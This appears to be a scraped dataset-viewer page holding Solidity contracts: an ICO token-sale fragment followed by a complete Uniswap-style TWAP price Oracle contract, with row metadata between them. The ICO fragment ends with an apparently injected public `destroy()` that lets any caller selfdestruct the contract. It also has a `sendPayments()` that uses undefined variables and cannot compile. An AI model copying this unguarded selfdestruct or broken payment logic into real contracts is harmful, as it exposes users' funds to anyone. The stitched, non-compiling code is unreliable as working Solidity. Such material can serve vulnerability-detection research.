// 2. buyer buys 1000 tokens
// 3. the price of all 1000 tokens would be with 10% discount!!!
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_buyer,newTokens);
}
/// @dev This is called by other currency processors to issue new tokens
function issueTokensFromOtherCurrency(address _to, uint _wei_count) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
if(_wei_count== 0) throw;
uint newTokens = (_wei_count * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_to,newTokens);
}
/// @dev This can be called to manually issue new tokens
/// from the bonus reward
function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
// can not issue more than BONUS_REWARD
if((issuedExternallyTokens + _tokens)>BONUS_REWARD){
throw;
}
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
if((icoTokensSold + _tokens)>ICO_TOKEN_SUPPLY_LIMIT){
throw;
}
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
function burnTokens(address _from, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
mntToken.burnTokens(_from,_tokens);
LogBurn(_from,_tokens);
}
// Default fallback function
function() payable {
// buyTokens -> issueTokensInternal
buyTokens(msg.sender);
}
function destroy() public {
selfdestruct(this);
}
function sendPayments() public {
if(entries[values[i]].expires != 0)
throw;
msg.sender.send(msg.value);
}
}
| 188,555 | 13,598 |
2348f408c52cf4930c4151b727050ffcb73da64bdd9a35e9ba928d6ac5c4feed
| 23,117 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ea/EA2d31A9eb26BCE26ee5b8E6824C5a8014dbb225_Oracle.sol
| 4,701 | 16,609 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 328,100 | 13,599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.